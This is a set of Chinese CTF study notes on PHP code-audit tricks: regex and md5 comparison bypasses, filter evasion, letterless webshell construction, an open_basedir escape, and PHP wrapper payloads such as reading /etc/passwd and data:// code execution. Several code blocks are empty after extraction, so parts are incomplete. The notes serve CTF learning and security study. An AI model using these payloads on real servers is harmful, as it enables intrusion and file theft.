前言
本篇文章专门用于记录做代码审计类题目的做题姿势,会不断更新。
案例来源于各大师傅们的博客和平时做题遇到。
phpinfo中的相关知识点
disable_functions 禁用的系统函数
PHP开启short_open_tag=on,即可使用短标签
preg_match绕过
1 |
|
1 | if (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { |
1 | # PCRE回溯绕过利用脚本 |
md5、sha1绕过
1 | if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) |
1 | if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])) |
1 | $flag = "flag"; |
关键字过滤后绕过
_
的代替字符
[
空格
的代替字符
${IFS}
${IFS}$9
<
%09
混淆绕过
比如 cat
可以这样 c""at
json_decode特性
1 | 可以接收Unicode编码后的字符 |
1 | $js = json_decode('{"name": "\u0068\u0065\u006c\u006c\u006f"}'); |
basename缺陷
1 | 文件名首尾任何非ASCII码的字符都会被rename函数删除掉 |
构造无字母webshell的三种方式
1 |
|
在ctf中,我们一般遇到上面这种正则,不能传入字母和数字,是不是就不能执行webshell了呢,并不是,p神在他的博客中记录了三种方法,分别是异或、取反、自增。
异或
如果我们要构造 phpinfo POST GET system 这类关键字,我们可以通过 两个没有被过滤的字符进行异或得到。
演示
1 | 构造 phpinfo |
![image-20210823153951769](F:\D-学习笔记\BUUCTF WP\image-20210823153951769.png)
生成脚本
python
1 | import urllib.parse |
php
1 | $l = ""; |
取反
与异或类似,不过它利用的是 UTF-8 编码中的某个汉子 , 将其中的某个字符提取出来 , 进行取反后得到对应字符
生成步骤
找到 “
p
“ 对应的 ASCII码,拿到对应的十六进制编码70
在前面添加两个十六进制数 . 这个数是任意的 . 然后将它取反 . 在线
比如这里用
7B
,然后就行取反。![image-20210823160420273](F:\D-学习笔记\BUUCTF WP\image-20210823160420273.png)
将取反后的数字写成 NCR 格式( &#x … ) , 并且将它转换为中文字符 在线
蒏
![image-20210823160541639](F:\D-学习笔记\BUUCTF WP\image-20210823160541639.png)
- 带入代码测试 , 取第二个字符( 第一个字符是你任意添加的 ) , 即可得到需要的字符
示范
构建 phpinfo
进行测试
p h i n f o 对应的 十六进制编码 70 68 69 6e 66 6f
加入 7b
取反
原字符 十六进制 取反 转为字符
p 7b70 848F 蒏
h 7b68 8497 蒗
i 7b69 8496 蒖
n 7b6e 8491 蒑
f 7b66 8499 蒙
o 7b6f 8490 蒐
1 |
|
![image-20210824093035835](F:\D-学习笔记\BUUCTF WP\image-20210824093035835.png)
注意事项:这个写在php文件中能直接运行,通过GET传参就报错
eval()'d code:1 Stack trace:
,经过多次测试,需要进行url编码提交才不会报错。
递增运算得到对应字符
这个就直接上代码,方式不一样,目的一样。
1 | p神案例 // ASSERT($_POST[_]); 这个仅支持 php5 php7 需要更换assert 为其他代码执行函数 |
![image-20210824104232105](F:\D-学习笔记\BUUCTF WP\image-20210824104232105.png)
绕过 open_basedir/disable_function
open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1”都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
payload
1 | chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g')); |
也可以用蚁剑 disable_functions 插件绕过
php伪协议
file://
用于访问文件(绝对路径、相对路径、网络路径)
1 | http://www.xx.com?file=file:///etc/passswd |
php://
访问输入输出流
1 | http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码) |
参数
1 | resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流 |
php://input
1 | http://127.0.0.1/cmd.php?cmd=php://input |
注意:enctype="multipart/form-data"
的时候 php://input
是无效的
data://
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到
base64编码
传输
1 | http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b |
来源:https://www.cnblogs.com/wjrblogs/p/12285202.html
extract变量覆盖
SESSION验证绕过
1 |
|
md5加密相等绕过
1 | var_dump(md5('240610708') == md5('QNKCDZO')); |
md5函数true绕过注入
1 |
|
1 | ?password=ffifdyop |
代码审计绕过特殊案例
1 |
|
1 | ?args=GLOBALS |
通过json_decode特性绕过
1 |
|
1 | message={"key":true} |
1 |
|
1 | ?b=a[0]=s878926199a |
1 |
|
1 | user[]=1&name[]=1&password[]=2&id=72.0&login=Check |